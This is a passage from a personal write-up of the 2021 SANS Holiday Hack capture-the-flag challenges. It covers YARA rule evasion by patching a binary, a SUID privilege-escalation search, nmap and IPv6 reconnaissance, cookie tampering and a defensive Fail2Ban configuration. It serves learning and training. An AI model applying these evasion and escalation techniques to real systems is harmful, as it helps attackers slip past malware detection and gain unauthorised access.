Kringle Con / Frost Fest 2021

I've decided to try to create a more thorough write-up of KringleCon / Frost Fest this year, but I also don't want to make this unreadably long. So if you're just after the answers, ignore all of the hidden text below and jump ahead to whatever you want to read.

If you're after a bit more depth, in addition to the answers, I've documented:

  • the missteps I took trying to figure it out, even all those that lead no where. Mostly because I forget how tough I find stuff and then feel bad whenever I struggle, or I read other people's write-ups and feel intimidated by how easy everything seems to be for them.
  • the wider picture: what the challenge teaches us and how it relates to the real world. This will also contain links to additional sources that may be helpful but don't really fit in the challenge. I think this might be helpful for people outside cybersecurity or for when I half-remember something and want to reference it later.

Feel free to expand any of those sections as desired, or leave them all hidden if you're in a rush and just want the answers.

I also want to start by giving a huge thanks to the SANS team, the sponsers and everyone involved in the Holiday Hack! It's always a really fun time and reminds me that I do enjoy cybersecurity. I especially appreciated it this year, since I've been feeling a little bit lost not having a job/workplace to aim for.

Table of Contents

  1. KringleCon Terminal Challenge 1: Logic Munchers
  2. KringleCon Terminal Challenge 2: Yara Analysis
  3. KringleCon Terminal Challenge 3: The Elf C0de
  4. KringleCon Terminal Challenge 4: Exif Metadata
  5. KringleCon Terminal Challenge 5: Strace Ltrace Retrace
  6. KringleCon Terminal Challenge 6: IPv6 Sandbox
  7. KringleCon Terminal Challenge 7: Fail2Ban
  8. KringleCon Terminal Challenge 8: Santa's Holiday Hero
  9. KringleCon Terminal Challenge 9: (Bonus) Log4j Blue Team
  10. FrostFest Terminal Challenge 1: Grepping For Gold
  11. FrostFest Terminal Challenge 2: Frostavator
  12. FrostFest Terminal Challenge 3: IMDS Exploration
  13. FrostFest Terminal Challenge 4: (Bonus) Log4j Red Team
  14. Objective 1: KringleCon Orientation
  15. Objective 2: Where in the World is Caramel Santaigo?
  16. Objective 3: Thaw Frost Tower's Entrance
  17. Objective 4: Slot Machine Investigation
  18. Objective 5: Strange USB Device
  19. Objective 6: Shellcode Primer
  20. Objective 7: Printer Exploitation
  21. Objective 8: Kerberoasting on an Open Fire
  22. Objective 9: Splunk!
  23. Objective 10: Now Hiring!
  24. Objective 11: Customer Complaint Analysis
  25. Objective 12: Frost Tower Checkup
  26. Objective 13: FPGA Programming
  27. Wrap up

KringleCon Terminal Challenge 1: Logic Munchers

The first terminal challenge of 2021 is Logic Chompers, a game where you control "Chompy" and have to move around the board "chomping" all the true values while avoiding Trollogs. The controls are simple and explained at the bottom of the intro screen.

To complete this terminal challenge, we simply have to complete a stage at "Potpourri" at Intermediate or Higher.

Unfortunately all the questions are somewhat randomly generated so I can't just provide the answer but it is reasonably simple to complete on expert with Potpourri by:

  1. Taking it slowly - I find the boolean logic easiest and the number conversions hardest generally, so I'd only try to figure out the harder ones when I'd chomped all the easiest ones.
  2. Stay in the centre; Trollogs only come from the sides and always move in a consistent line. The only time I was hit by them was if I hung out by the sides and had one surprise me.
  3. Be risk averse. There doesn't seem to be a time limit, so if you're 99% sure something is true, wait anyway. It'll eventually change to something you're 100% sure about. Naturally this is worth learning though, so you're really better off trying the hard ones and possibly losing.



The challenge's context

I couldn't find out what this is a reference to (Google suggested chompers.io, but it doesn't seem to be that). At any rate, knowing boolean logic and arithmetic is vital for developers; there aren't many programs that won't check if something is true or calculate some sum. Number conversions are helpful for lower-level development/reverse engineering since computers only understand binary and memory addresses are normally written in hex. They're also useful if you need to perform decimal operations, since these can cause unexpected issues in binary. Bitwise operations can be used for cool tricks and improving performance, but I mostly use them in flags. For example, Unix file permissions use 0b100 for reading, 0b010 for writing and 0b001 for writing (plus others that aren't relevant). If you're allowed to read and write, but not execute, then you'd want the permission to be 0b100 | 0b010 = 0b110, ie 6. If you need to know someone has permission to write, then you'd check "file permissions" & 0b010 != 0

Additionally, NSO seems to have used logic gates to implement their exploits.

KringleCon Terminal Challenge 2: Yara Analysis


The first step to solving this problem is determining which yara rule is causing issues. To do so, we can run
snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app

which shows us yara rule 135 is causing issues

snowball2@b3b1953a4dfa:~$ vim yara_rules/rules.yar

shows us that we, unfortunately, can't modify the rules. That means the simple (insecure) option of deleting the issues won't work. Fortunately we can read it, so we can see the rule is


    rule yara_rule_135 {
        meta:
        description = "binaries - file Sugar_in_the_machinery"
        author = "Sparkle Redberry"
        reference = "North Pole Malware Research Lab"
        date = "1955-04-21"
        hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
        strings:
        $s = "candycane"
        condition:
        $s
    }

This rule is simply looking for the string 'candycane' with no other conditions, so we can use vim to replace all instances of 'candycane' with 'Candycane'. Simply run vim the_critical_elf_app and then type :%s/candycane/Candycane and enter to replace all the instances, and then type :wq to save and exit.

We can then rerun

snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app

to see that rule 135 is now fixed, but rule 1056 is now causing issues.


    rule yara_rule_1056 {
        meta:
             description = "binaries - file frosty.exe"
             author = "Sparkle Redberry"
             reference = "North Pole Malware Research Lab"
             date = "1955-04-21"
             hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
         strings:
             $s1 = {6c 6962 632e 736f 2e36}
             $hs2 = {726f 6772 616d 2121}
         condition:
             all of them
     }

Again using vim, this time in hex mode %!xxd and then searching for 6962 632e 736f 2e36 shows it maps to libc.so.6, and 726f 6772 616d 2121 maps to the end of the string This is critical for the execution of the program!!

Since the condition is all of them, we can change either. Originally, I thought the string was telling the truth, so I tried switching the version to libc.so.2. You can make that work but it requires cludges with setting the library path, still prints an error and is generally just generally not ideal, so let's pretend I just did the second option, which is to make a minor change to the "critical" string. Switching program!! to pregram!! stops the yara rule from matching and doesn't seem to affect its execution.

snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app

now shows rule 1732 is triggering.


    rule yara_rule_1732 {
        meta:
           description = "binaries - alwayz_winter.exe"
           author = "Santa"
           reference = "North Pole Malware Research Lab"
           date = "1955-04-22"
           hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
        strings:
           $s1 = "This is critical for the execution of this program!!" fullword ascii
           $s2 = "__frame_dummy_init_array_entry" fullword ascii
           $s3 = ".note.gnu.property" fullword ascii
           $s4 = ".eh_frame_hdr" fullword ascii
           $s5 = "__FRAME_END__" fullword ascii
           $s6 = "__GNU_EH_FRAME_HDR" fullword ascii
           $s7 = "frame_dummy" fullword ascii
           $s8 = ".note.gnu.build-id" fullword ascii
           $s9 = "completed.8060" fullword ascii
           $s10 = "_IO_stdin_used" fullword ascii
           $s11 = ".note.ABI-tag" fullword ascii
           $s12 = "naughty string" fullword ascii
           $s13 = "dastardly string" fullword ascii
           $s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
           $s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
           $s16 = "GLIBC_2.2.5" fullword ascii
           $s17 = "its_a_holly_jolly_variable" fullword ascii
           $s18 = "__cxa_finalize" fullword ascii
           $s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
           $s20 = "__libc_csu_init" fullword ascii
           condition:
           uint32(1) == 0x02464c45 and filesize < 50KB and
           10 of them
     }

That's a lot of rules and I generally like to take the lazy version (I'll sell it as Occam's Razor if I must), but notably it says uint32(1) == 0x02464c45 and filesize < 50KB and 10 of them. Filesizes are easy and familiar. I think programs don't care if you add extra data to their end, so that seems like a good condition to break.

snowball2@b3b1953a4dfa:~$ ls -l the_critical_elf_app

shows that the file is 16688 bytes. You can set up a bash script to just add 'a' or something, or use an existing file. I think an existing file is easiest, but we have to be careful which one we choose so it doesn't trigger any other yara rules (ie, definitely don't use the Yara rules since they will trigger themselves!)

snowball2@b3b1953a4dfa:~$ cp the_critical_elf_app spare_data snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app snowball2@b3b1953a4dfa:~$ cat spare_data >> the_critical_elf_app
snowball2@b3b1953a4dfa:~$ ./the_critical_elf_app
    Toy Levels: Very Merry, Terry
    Naughty/Nice Blockchain Assessment: Untampered
    Candy Sweetness Gauge: Exceedingly Sugarlicious
    Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564
Why use Yara and remaining questions.

The relevance of YARA is that it's used by researchers to identify and classify malware. I believe it's primarily used in incident response when you think something might be compromised and need to look for signs and figure out whether it is, and maybe as an alternative / addition to anti-virus tools. I couldn't find any clear documentation of exactly what it is used for, so please take that explanation with a grain of salt.

Regarding the challenge, I feel like I missed something with this challenge. The intro says the tools on the system are vim, emacs and nano, yara and xxd. The first three are all editors and I used vim, so we can count them all as effectively used. I used the hex mode of vim, so that's equivalent to xxd. I never used yara though - I tried but it gave me a "Permission denied" error. Is that a hint that there's a way to get root privileges?

Adding to the mystery, ls -l shows an empty, read-only file ".sudo_as_admin_successful". Running sudo yara and using the password "admin" or "admin_successful" didn't work, and sudo -u admin yara prints an error that there's no admin user.

I tried to see if it was just picking up the wrong yara

echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
but there doesn't seem to be a runnable Yara elsewhere.

Looking for executables with sticky bits to abuse find / -type f -perm -u=s 2>/dev/null | xargs ls -l didn't find anything of use, but I did find I could run /usr/bin/gpasswd to see the intro text again. Unfortunately I'm not sure where else to go from here and have no more time to investigate, so this remains a mystery.

I'm also confused about the dates: 21 04 1955 doesn't seem to have any obvious significance.



KringleCon Terminal Challenge 3: The Elf C0de

As a professional developer who's forgotten what it's like to learn to code, I'll just provide my answers without making a comment on these, since I'm not sure what would be useful. Nothing seemed particularly challenging to me, but if anyone comes across this and doesn't understand the solutions, please feel to post a comment. Learning code is hard to begin with!

Level 0

This level is solved for you; just click run!

Level 1


    import elf, munchkins, levers, lollipops, yeeters, pits
    elf.moveLeft(10)
    elf.moveUp(12)

Level 2


    import elf, munchkins, levers, lollipops, yeeters, pits
    # Gets all lollipops as a list
    all_lollipops = lollipops.get()
    elf.moveTo(all_lollipops[1].position)
    elf.moveTo(all_lollipops[0].position)
    elf.moveLeft(3)
    elf.moveUp(8)

Level 3


    import elf, munchkins, levers, lollipops, yeeters, pits
    lever0 = levers.get(0)
    lollipop0 = lollipops.get(0)
    elf.moveTo(lever0.position)
    lever0.pull(lever0.data() + 2)
    elf.moveTo(lollipop0.position)
    elf.moveUp(12)

Level 4


    import elf, munchkins, levers, lollipops, yeeters, pits
    lever0, lever1, lever2, lever3, lever4 = levers.get()
    elf.moveTo(lever4.position)
    lever4.pull("A String")
    elf.moveTo(lever3.position)
    lever3.pull(True)
    elf.moveTo(lever2.position)
    lever2.pull(3.14)
    elf.moveTo(lever1.position)
    lever1.pull([])
    elf.moveTo(lever0.position)
    lever0.pull({})
    elf.moveUp(4)

Level 5


    lever0, lever1, lever2, lever3, lever4 = levers.get()
    elf.moveTo(lever4.position)
    lever4.pull(lever4.data() + " concatenate")
    elf.moveTo(lever3.position)
    lever3.pull(not lever3.data())
    elf.moveTo(lever2.position)
    lever2.pull(lever2.data() + 1)
    elf.moveTo(lever1.position)
    lever1.pull(lever1.data() + [1])
    elf.moveTo(lever0.position)
    data = lever0.data()
    data["strkey"] = "strvalue"
    lever0.pull(data)
    elf.moveUp(4)

Level 6


    import elf, munchkins, levers, lollipops, yeeters, pits
    lever = levers.get(0)
    elf.moveTo(lever.position)
    data = lever.data()
    if type(data) == bool:
        data = not data
    elif type(data) == int:
        data = data * 2
    elif type(data) == list:
        data = [x + 1 for x in data]
    elif type(data) == str:
        data = data + data
    elif type(data) == dict:
        data["a"] += 1
    lever.pull(data)
    elf.moveUp(4)

Level 7


    import elf, munchkins, levers, lollipops, yeeters, pits
    directions = [elf.moveUp, elf.moveDown]
    direction_index = 0
    for num in range(5): #not sure if number is right
        elf.moveLeft(3)
        directions[direction_index](12)
        direction_index = direction_index ^ 1

Level 8


    import elf, munchkins, levers, lollipops, yeeters, pits
    all_lollipops = lollipops.get()
    munchkin = munchkins.get()[0]
    for lollipop in all_lollipops:
        elf.moveTo(lollipop.position)
        
    elf.moveTo(munchkin.position)
    data = munchkin.ask()
    munchkin.answer([k for k in data if data[k] == "lollipop"][0])
    elf.moveUp(2)

Bonus 1


    import elf, munchkins, levers, lollipops, yeeters, pits

    def func_to_pass_to_munchkin(list_of_lists):
        return sum([x for y in list_of_lists for x in y if type(x) == int])

    munchkin = munchkins.get()[0]
    all_levers = levers.get()
    # Create Movement pattern:
    moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2
    # We iterate over each move in moves getting an index (i) number that increments by one each time
    for i, move in enumerate(moves):
        move(i + 1)
        if i < len(all_levers):
            all_levers[i].pull(i)
        
    elf.moveUp(2)
    elf.moveLeft(4)
    munchkin.answer(func_to_pass_to_munchkin)
    elf.moveUp(2)

Bonus 2


    import elf, munchkins, levers, lollipops, yeeters, pits
    import time
    muns = munchkins.get()
    lols = lollipops.get()[::-1]
    for index, mun in enumerate(muns):
        while (abs(mun.position["x"] - elf.position["x"]) < 6):
            time.sleep(0.05)
        elf.moveTo(lols[index].position)
    elf.moveLeft(6)
    elf.moveUp(2)

I don't think many people will wonder about the use of learning to code; that's widely covered in mainstream media.

KringleCon Terminal Challenge 4: Exif Metadata

The task is to find which naughty/nice record was modified by Jack Frost.

If we're lucky, ls -l will tell us, but unfortunately in this case, all of the files were last updated on the 23rd of November. Instead, we have to find it in the metadata exiftool * | less will show us every file's metadata and then we can use /Jack to jump forward to the file he changed. Scrolling up a bit, will show us it's 2021-12-21.docx

Relevance Knowing about the amount of metadata contained in photos is important since we now post them everywhere without thought. Location metadata in photos have lead to arrests and could be used for doxxing or stalking.

KringleCon Terminal Challenge 5: Strace Ltrace Retrace

kotton_kandy_co@2f8605869d83:~$ ./make_the_candy

tells us that the program is indeed failing due to a configuration file. But which? Originally I tried running:

kotton_kandy_co@2f8605869d83:~$ strace ./make_the_candy

which gave the output:


execve("./make_the_candy", ["./make_the_candy"], 0x7ffc16ac7c30 /* 12 vars */) = 0
brk(NULL)                               = 0x564e1bb19000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=19540, ...}) = 0
mmap(NULL, 19540, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fdff43b7000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\35\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030928, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fdff43b5000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fdff3da2000
mprotect(0x7fdff3f89000, 2097152, PROT_NONE) = 0
mmap(0x7fdff4189000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7fdff4189000
mmap(0x7fdff418f000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fdff418f000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7fdff43b64c0) = 0
mprotect(0x7fdff4189000, 16384, PROT_READ) = 0
mprotect(0x564e1ab72000, 4096, PROT_READ) = 0
mprotect(0x7fdff43bc000, 4096, PROT_READ) = 0
munmap(0x7fdff43b7000, 19540)           = 0
brk(NULL)                               = 0x564e1bb19000
brk(0x564e1bb3a000)                     = 0x564e1bb3a000
openat(AT_FDCWD, "registration.json", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
write(1, "Unable to open configuration fil"..., 35Unable to open configuration file.
) = 35
exit_group(1)                           = ?
+++ exited with 1 +++

But that's a lot to digest, so I wondered if ltrace might be easier:

kotton_kandy_co@2f8605869d83:~$ ltrace ./make_the_candy

fopen("registration.json", "r")                           = 0
puts("Unable to open configuration fil"...Unable to open configuration file.
)               = 35
+++ exited (status 1) +++

Indeed, that's much simpler to parse. The end of the strace output does actually say the same thing, but let's stick with strace while possible.

kotton_kandy_co@b72bff239a4a:~$ touch registration.json
kotton_kandy_co@b72bff239a4a:~$ ltrace ./make_the_candy


fopen("registration.json", "r")                           = 0x56114e8f4260
getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = 2
strstr("{\n", "Registration")                             = nil
getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = 20
strstr("\t"registered": true\n", "Registration")          = nil
getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = 2
strstr("}\n", "Registration")                             = nil
getline(0x7ffd918465d0, 0x7ffd918465d8, 0x56114e8f4260, 0x7ffd918465d8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)

So it looks like it's looking for "Registration" in registration.json. Open it with vim and set the contents to the valid JSON object {"Registration":true}

kotton_kandy_co@b72bff239a4a:~$ ltrace ./make_the_candy

fopen("registration.json", "r")                           = 0x5558c7719260
getline(0x7ffc2b73fc00, 0x7ffc2b73fc08, 0x5558c7719260, 0x7ffc2b73fc08) = 19
strstr("Registration: true\n", "Registration")            = "Registration: true\n"
strchr("Registration: true\n", ':')                       = ": true\n"
strstr(": true\n", "True")                                = nil
getline(0x7ffc2b73fc00, 0x7ffc2b73fc08, 0x5558c7719260, 0x7ffc2b73fc08) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                           = 24
+++ exited (status 1) +++

So clearly that should be {"Registration":True}




Knowing how to use strace and ltrace can be incredibly helpful for diagnosing bugs in software.

KringleCon Terminal Challenge 6: IPv6 Sandbox

Jewel Logons has forgotten the Candy Striper's password. Fortunately, they've stored it on another local machine but unfortunately they don't know that machine's IP. We need to find the password.

The first step has to be finding machines to connect to. To do so, we can send a message to ff02::1 since this address belongs to every host on the local network.

elf@59e7f84e43b8:~$ ping6 ff02::1 -c 3

shows that fe80::42:c0ff:fea8:a002 is the only IPv6-connected host that's responding. There could be other hosts with ping disabled, but we can worry about that later if this host doesn't have the password.

First step is to find out what services it is running

elf@59e7f84e43b8:~$ nmap -sV -6 fe80::42:c0ff:fea8:a002

will find the services (-sV) running using IPv6 (-6). Because I didn't supply the ports (-p), it'll use the top 1000.

The output shows that port 80 has a web server running, and port 9000 has something unfamiliar that nmap is guessing is cslistener.

elf@59e7f84e43b8:~$ curl http://[fe80::42:c0ff:fea8:a002]:80 --interface eth0

tells us to connect to the other open TCP port to get the password

elf@59e7f84e43b8:~$ curl http://[fe80::42:c0ff:fea8:a002]:9000 --interface eth0

gives us the answer PieceOnEarth


Everyone keeps trying to make IPv6 happen IPv4 was created when the internet started; no one had expected that everyone would want a device to connect, let alone several. There aren't enough IPv4 addresses for everyone, so they've come up with hacks to keep things working and have started to try to claw back previously assigned IPv4 addresses, but IPv4 addresses are still extremely valuable. The industry wants to move to IPv6 which would provide enough addresses for 100 times the number of atoms on the surface of the earth. People are slow to change, though; IPv6 was launched about a decade ago.

KringleCon Terminal Challenge 7: Fail2Ban



To solve this, we need to configure Fail2Ban to block any IP that generates 10 or more failure messages within an hour, based on the logs in /var/log/hohono.log

First step is to look through the logs to figure out how to distinguish a failure from success. less isn't on the machine, so we'll have to use vim

elf@59e7f84e43b8:~$ vim /var/log/hohono.log

The log follows the format <yyyy-mm-dd hh:MM:ss> <message> where message could be:

  • <IP>: Request completed successfully
  • Login from <IP> successful
  • Login from <IP> rejected due to unknown user name
  • Valid heartbeat from <IP>
  • Invalid heartbeat '<type>' from <IP>
  • Failed login from <IP> for <user>
  • <IP> sent a malformed request
So now that we have an idea of what to ban, we need to figure out how to ban it. I couldn't find any decent docs online, but fortunately Andy Smith's Kringlecon talk is perfect.

First, we have to create a "jail" which tells fail2ban settings such as maxretry (how many logs must be seen before the IP will be blocked), findtime (the window of time the failures should be counted) and bantime (how long to ban the IP).

I'll call it naughtynice, but you can choose whatever you please.

Open up your text editor of choice and create /etc/fail2ban/jail.d/naughtynice.conf with the following


[naughtynice]
enabled         = true
logpath         = /var/log/hohono.log
maxretry        = 10
findtime        = 1h
bantime         = 1h
filter          = naughtynice
action          = naughtynice

We then need to create the filter to tell fail2ban how to detect suspicious IPs. Fail2ban requires us to use <HOST> (or a regex group named 'host') to tell it where to pull the client's address from, and it will automatically parse the date format from the logs so we can ignore that. This means we can basically use the malicious logs pulled out above to create /etc/fail2ban/filter.d/naughtynice.conf with the following:


[Definition]
failregex = Login from <host> rejected due to unknown user name
            ^ Failed login from <host> for
            ^ <host> sent a malformed request

It may be worth checking the the filter is working now by running: fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtynice.conf and checking that all regular expressions match at least one log.

If everything is running smoothly, we just have to create our action configuration to tell Fail2ban what to do. You probably only need to set the banaction and the banaction to pass the challenge, but I also added the actionstart and actionend options so that I didn't have to run those commands myself.

Create /etc/fail2ban/action.d/naughtynice.conf with the following:


[Definition]
actionban   = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>
actionstart = /root/naughtylist refresh
actionend = /root/naughtylist clear

All that's left to complete the task is to run

elf@59e7f84e43b8:~$ service fail2ban restart

This task took me a while to complete, so if you're interested in the missteps and how I figured them out, click here for more details

Unfortunately this didn't work - I expect that's because I didn't run service fail2ban restart, but the task also specifies that you have to create the files, and this doesn't seem to. I think writing the files is simpler.

I then switched to writing the files but quickly came across a new issue. Running fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtynice.conf caused the following error:


NOTE: self._filter.setMaxLines(int(v))
TypeError: int() argument must be a string, a bytes-like object or a number, not 'NoneType'

A bit of Googling suggested it was because Fail2ban didn't know how many lines should count as one log, so you can set 'maxlines' if needed. The error went away when I added:


[Init]
maxlines = 1

to the top of the filter.d config file. Unfortunately that just created a new issue:


Traceback (most recent call last):
File "/usr/bin/fail2ban-regex", line 34, in 
    exec_command_line()
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 765, in exec_command_line
    if not fail2banRegex.start(args):
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 706, in start
    self.process(test_lines)
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 510, in process
    line_datetimestripped, ret, is_ignored = self.testRegex(line)
File "/usr/lib/python3/dist-packages/fail2ban/client/fail2banregex.py", line 456, in testRegex
    found = self._filter.processLine(line, date)
File "/usr/lib/python3/dist-packages/fail2ban/server/filter.py", line 581, in processLine
    (timeMatch, template) = self.dateDetector.matchTime(l)
AttributeError: 'NoneType' object has no attribute 'matchTime'

A lot of Googling got me nowhere, but fortunately a fellow KringleCon attendee gave me a hand (thanks John_r2), and we figured out it was caused by my filter file beginning with [DEFINITION] rather than [Definition]

With that sorted, the filter was working, but I still wasn't getting IPs on the naughty nice list. Looking at /var/log/fail2ban.log showed the following error:


Error banning 199.24.243.52
2021-12-26 22:45:30,220 fail2ban.actions        [172]: NOTICE  [naughtynice] Ban 221.64.114.254
2021-12-26 22:45:30,223 fail2ban.utils          [172]: ERROR   7f83b6742260 -- exec: naughtylist add 221.64.114.254
2021-12-26 22:45:30,223 fail2ban.utils          [172]: ERROR   7f83b6742260 -- stderr: '/bin/sh: 1: naughtylist: not found'
2021-12-26 22:45:30,223 fail2ban.utils          [172]: ERROR   7f83b6742260 -- returned 127
2021-12-26 22:45:30,224 fail2ban.utils          [172]: INFO    HINT on 127: "Command not found".  Make sure that all commands in 'naughtylist add 221.64.114.254' are in the PATH of fail2ban-server process (grep -a PATH= /proc/`pidof -x fail2ban-server`/environ). You may want to start "fail2ban-server -f" separately, initiate it with "fail2ban-client reload" in another shell session and observe if additional informative error messages appear in the terminals.

This is pretty simple to fix; the action file just can't find the command naughtylist, so we need to provide the full path: /root/naughtylist

With that sorted, everything was working and IPs were getting blocked. But apparently not enough and/or not the right ones.

I used a couple of different techniques to try to debug this:

  • Downloading the hohono.log via the browser's network tab so I could use VS Code to use it's regex find-and-replace function to remove matching and deliberately-not-matching logs
  • Looking at the matched IPs and grepping for them in the logs to try to determine if they seemed suspicious to me
  • Switching the config maxretry to 9, since the challenge says "10 or more", and maxretry should mean "more than"
  • Watching, and re-watching Andy Smith's very helpful talk
  • Random trial and error. Originally, I thought Invalid heartbeat '.+' from <HOST> should be a filter, and I missed the <HOST> sent a malformed request log. Having both caused too many false positives but I didn't entirely see why, so I tried all four logs, without malformed request and just the two obvious ones, along with variations over how strict the regex was (which seemed to make no difference to the matches) before finally figuring out the correct three.

Relevance Users frequently reuse passwords, use weak passwords or leave default passwords on accounts. This is an easy target for attackers who create scripts to "password spray/stuff", ie trying obvious passwords or those leaked in other breaches to try to get into other users' accounts. This is both a very common attack, and also generally quite a successful one. Fail2Ban helps protect against this by detecting IPs that are making multiple failed attempts to login and then blocking them. The other ways to deal with these sorts of attacks are CAPTCHAs (to prevent automation), multifactor authentication (so attackers also have to control a device, not just the password), or IP restrictions (so only trusted users can access the server), but these all have an impact on genuine users so businesses are often reluctant to implement any. Fail2Ban isn't a solution alone, but it can help a lot and generally won't be stymied by non-technical interests.

KringleCon Terminal Challenge 8: Santa's Holiday Hero


I spent a while just playing this game with other Kringlecon attendees so I have to start by apologising to the first person who played with me; I think you managed to single-handedly fuel about half of Santa's tank, and I managed to fully bungle my side and use some of your fuel!
And thanks for the person who won it with me on my third attempt! To complete the challenge though, you do have to win it on single player, so here's how to manage that.

Given the aim is to enable single player mode, it made sense to me to search the JavaScript files for "single" to see if it was mentioned. There were several matches, but the only file that seemed promising was holidayhero.js:

single_player_mode = !1,
...
spi = setInterval(function () {
    single_player_mode && 
    (clearInterval(spi), 
    player2_label.showMessage('P2: COMPUTER (On)'),
    player2_power_button.anims.play('power_on'),
    toastmessage.showMessage('Player 2 (COMPUTER) has joined!'),
    player2_power_button.anims.pause())
  }, 100);
...
a = setInterval(function () {
    player2_name && 
    (clearInterval(a), 
    player2_label.showMessage('P2: ' + player2_name + 
    (player2_power_button_on ? ' (On)' : ' (Off)')),
    single_player_mode || username === player2_name ||
    (toastmessage.displayTime = 2000, 
    toastmessage.showMessage(`Player 2 (${ player2_name }) has joined!`)))
  }, 100),
...
intro_scroll_button.on('pointerup', () =>{
    intro_scroll_button.destroy(),
    intro_scroll.destroy(),
    intro_scroll_text.destroy(),
    intro_scroll_header.destroy(),
    scroll_bg.destroy(),
    player1_name != username || player2_name || 
    single_player_mode || (toastmessage.displayTime = 3000,
    toastmessage.showMessage('Waiting for a second player'))
  }),

As shown, this sets single player to false, and then periodically polls to see if another player has joined or if single_player_mode is enabled.

I find the simplest way to change the JavaScript variable is to set a "watch expression" to do that for me as shown on the bottom right below:


There are other options such as modifying the js file before it's sent to your browser, or setting a breakpoint and modifying the setting in the console, which seem nicer but more effort.

Unfortunately this alone doesn't work; the server has to send the notes but it's still waiting for another player to join. So the game just sits there with nothing to do.

Clearly client-side changes are not enough, but what parameter needed to be changed? I find browser tools aren't particularly effective at searching across multiple request-responses (or perhaps I just haven't figured out how), so I proxied the site in Burp and again searched for 'single'. As shown below, it's in a cookie:


So now we just have to modify that cookie to replace false with true. If you like Firefox as much as me, you can switch back and do that in the "Storage" tab of the developer tools panel.

The other player's username is still handled-client side, so this must be combined with the JavaScript change in order to play the game.

To fully complete the challenge, you then have to actually play the game and hit at least a few of the notes (fortunately not too many!)

Relevance Cookies are pretty important for security since so many sites use them to determine if a user is logged in. I can't find many examples of public breaches due to cookies being quite so weak as in this challenge, but developers must always keep in mind that they are attacker-controlled data that can't be blindly trusted.

KringleCon Terminal Challenge 9: (Bonus) Log4J Blue Team

SANS has created a superbly beginner-friendly intro to the Log4shell vulnerability, so I don't have much to add here - go do it if you're not already familiar with the issue!

The only thing I can add is that if Log4j is successfully exploited, the JNDI string will NOT be logged. That makes it pretty hard to know if your site was actually compromised before you updated.

For interest's sake, the vulnerable code is here, and works recursively, so nesting and placing lookups next to each other can all cause issues.

FrostFest Terminal Challenge 1: Grepping for Gold

What port does 34.76.1.22 have open?

We can find this by simply searching for 34.76.1.22 and then looking at the output


cat bigscan.gnmap | grep 34.76.1.22
Host: 34.76.1.22 () Status: Up
Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)

62078

What port does 34.77.207.226 have open?


elf@89850edd0dbd:~$ cat bigscan.gnmap | grep 34.77.207.226
Host: 34.77.207.226 () Status: Up
Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)

8080

How many hosts appear "Up" in the scan?

We can do this by searching for "Up" and then counting how many lines match


cat bigscan.gnmap | grep Up | wc -l
26054

26054

How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)

Grep allows you to specify multiple searches using -e, so we can once more use wc to count how many lines match


cat bigscan.gnmap | grep -e 80 -e 443 -e 8080 | wc -l
15035

Unfortunately this also shows hosts with those ports 'filtered', or potentially 'closed' so we need to be more specific:


cat bigscan.gnmap | grep -e 80/open -e 443/open -e 8080/open | wc -l
14372

There's also nothing stopping a host from using those ports for UDP. It's unlikely, but we the question specifies TCP, so the accurate search would be:


